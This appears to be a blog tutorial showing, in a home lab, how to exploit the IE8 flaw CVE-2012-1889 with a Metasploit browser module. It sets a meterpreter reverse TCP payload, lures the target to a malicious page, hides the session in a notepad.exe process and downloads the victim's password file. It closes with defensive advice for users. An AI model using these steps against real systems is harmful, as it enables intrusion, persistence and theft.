This post walks you through exploiting IE8 using a 0-day exploit. In general, this post is aimed at describing the basics of exploitation through client-side attacks. But it’s also intriguing since we’ll be using Metasploit to exploit a flaw in IE8, that as of today, has not been patched.
Vulnerability Information
The CVE associated with this vulnerability is CVE-2012-1889. This flaw has been in the security news quite a bit recently, but here is the Microsoft advisory information:
http://technet.microsoft.com/en-us/security/advisory/2719615
Currently there is no patch available, which means that users are unable to protect themselves directly from the flaw being exploited if they are running an applicable browser. There are some workarounds, as identified by Microsoft, but it’s always nerve-wracking knowing that an easily exploitable flaw in your software is exposed in the wild. As a user you should always use caution, regardless of which browser you use. If you aren’t that concerned at the moment, hopefully this post will help you realize the dangers involved.
Environment setup
For my target machine, I am running a Windows XP SP3 VM (deployed in my lab, if you’ve followed previous posts) that is running Java 6 and IE8. As you can see, I’m running as a non-administrative user and have placed a file called “secrets.txt” into a personal directory that contains some important passwords and should be kept confidential. (Please recognize this is merely an example, and I’m not encouraging you to ever store your passwords in cleartext.)
For my attack machine I am running BackTrack 5R2 with a fresh update of Metasploit (just run “msfupdate” from the terminal).
Setting up the client-side attack in Metasploit
So first you want to set up your malicious website using a Windows browser exploit module. Here is a quick rundown of setting up the attack:
Step 1) Load Metasploit
Start the msfconsole from a terminal command prompt by typing “msfconsole”.
Step 2) Load the exploit module
There are a lot of browser exploit modules and different ways to use them. It’s important to do a fair amount of research prior to selecting the module you are going to use. This will help ensure quick success based on the profile of your targets. In your spare time, have some fun browsing the different browser exploit modules and even repeat this process to test them out. In our case, we know the module we will be using, so from the msfconsole prompt type “use exploit/windows/browser/msxml_get_definition_code_exec” and hit enter.
Note that you can get more information about the module by typing “info” once the module has loaded.
Step 3) Set the exploit options
By typing “show options” at the prompt you will be displayed with the options that must be set in order to execute the module successfully.
Since this is simply an example, we will use most of the default settings, however I would like to change the URIPATH option. From the prompt type “set uripath pwnd”.
NOTE: You can name the path whatever you want, and obviously if this is a serious pentest, then you might select something a little more discreet. Additionally, if this were a true pentest you might consider adjusting some of the other options as well.
Step 4) Select your payload and options
If you type “show payloads” from the prompt you’ll be presented with a myriad of options. If you aren’t familiar with the payloads in Metasploit, spend some time testing them out. It’s important to understand the differences between payloads. Additionally, research of your target(s) and their operating environment should also guide your payload selection. For this example, I’m using a standard meterpreter reverse tcp stager payload. From the prompt type “set payload windows/meterpreter/reverse_tcp”.
If you type “show options” again, you’ll see that the payload options are included with the exploit options. Remember that this payload will direct your target to a separate listener in order to spawn a shell. That listener could be on your attack machine or you could have it set up on another machine with a separate handler prepared. This primarily depends on how you’re conducting your pentest, but in this example, we’ll set our attack machine as the listener. Use the “set lhost” followed by the IP address of your attack machine. If you want to change the listening port, feel free. For this example, I’m leaving it at 4444, but you may need to change it based on whether or not the client has the ability to connect to non-standard ports through an egress filter or firewall. Once you’ve set all your options, it’s good practice to review them just to make sure everything looks the way you want it.
Step 5) Initiate the exploit
And now we’re ready to stage our attack. Proceed to type one of the funnest commands ever, “exploit”, and you’ll see that both our malicious web server and payload handler have launched.
Okay, so let’s go find the unsuspecting target.
Exploiting the target
For the purposes of this example, I’m simply going to show you how visiting the malicious server with a vulnerable browser will proceed to compromise the machine. However, when conducting a real pentest you’ll need to entice the target in some fashion, to visit your site. There are many ways to do this and probably one of the more popular is to conduct some form of phishing attack via email or social networking site.
Obviously the main goal, however you proceed, is to have the target visit your malicious link in their browser. So here, I simply load up IE8 and type in the URL.
From the target’s perspective, the web page seems to just be hung or loading very slowly. But you’ll notice on our attack machine that indeed a meterpreter session has been opened to our target.
Also notice that it spawned a separate process and was able to migrate to the new process. This is important because we want to remain as persistent as possible on the target machine. We exploited the iexplore.exe process, however it’s very likely that the target will notice something wrong and proceed to close the browser or kill the task, in which case our session would also close, but this exploit takes care of that for us and spawns a seemingly benign notepad.exe process which is actually hosting our meterpreter session.
You can see that on the target machine, notepad.exe is listed as a running process and it’s running under the PID to which meterpreter migrated. Also note we do not have a notepad window open and notepad is not listed under running applications.
Post-exploitation
Okay, so now we have a session opened on our target, but what do we do with it? Well, depending on the scenario, environment, and type of system, we might have a varying amount of objectives. However, in general, we have a couple of main goals (but these aren’t exhaustive):
- Obtain administrative privileges
- Harvest as much information we can from the machine
Remember when we set up our target, we were running as a normal user (i.e. non-admin). Well since the browser was launched as our normal user that also means that our exploit session initiates under the same privileges as the normal user. You can see this by running the “getuid” command.
Notice that I can do anything I would like under the permission set of the normal user, including viewing and downloading the secrets.txt file.
Even though we have rights as the normal user, it would be nice to somehow obtain administrative privileges and effectively have full control of the machine. Privilege escalation is another topic entirely, and sometimes we may not always achieve full administrative privileges. I won’t discuss privilege escalation for this post, but keep in mind that this takes an additional set of research altogether, once you have gained initial access.
Conclusion
This was a very simple example of how to attack a system using a client-side exploit. The vulnerability we exploited was actually a 0-day exploit, meaning that no patch exists yet and all users of vulnerable browsers are exposed. It’s important to keep this kind of exploit in mind, not only as a standard user, but also as a pentester.
As a user, you should always try to stay up on patching your system and its software. In cases like this, where there is no patch, you must be vigilant and skeptical of all sites you visit and any links that you click.
As a pentester, it’s important to stay current on vulnerabilities and their impact. You should always be monitoring to see if/when an exploit is released, because utilizing these vulnerabilities during engagements only helps your clients.
Nuggets to Remember:
- Client-side attacks are very popular and can be quite simple. It is important to enumerate your targets as best you can in order to narrow the scope of attacks you might need to attempt.
- As a user, be extremely cautious when browsing the web and don’t click on links unless you are positive of where they are taking you.
- Never conduct normal operations as an administrative user. If we had conducted this example as an administrative user, the target machine would have been entirely compromised as a result of the client-side attack. If you operate as a non-privileged user, and are compromised via a client-side attack, you at least force the attacker to conduct more steps to gain full privileges on your machine.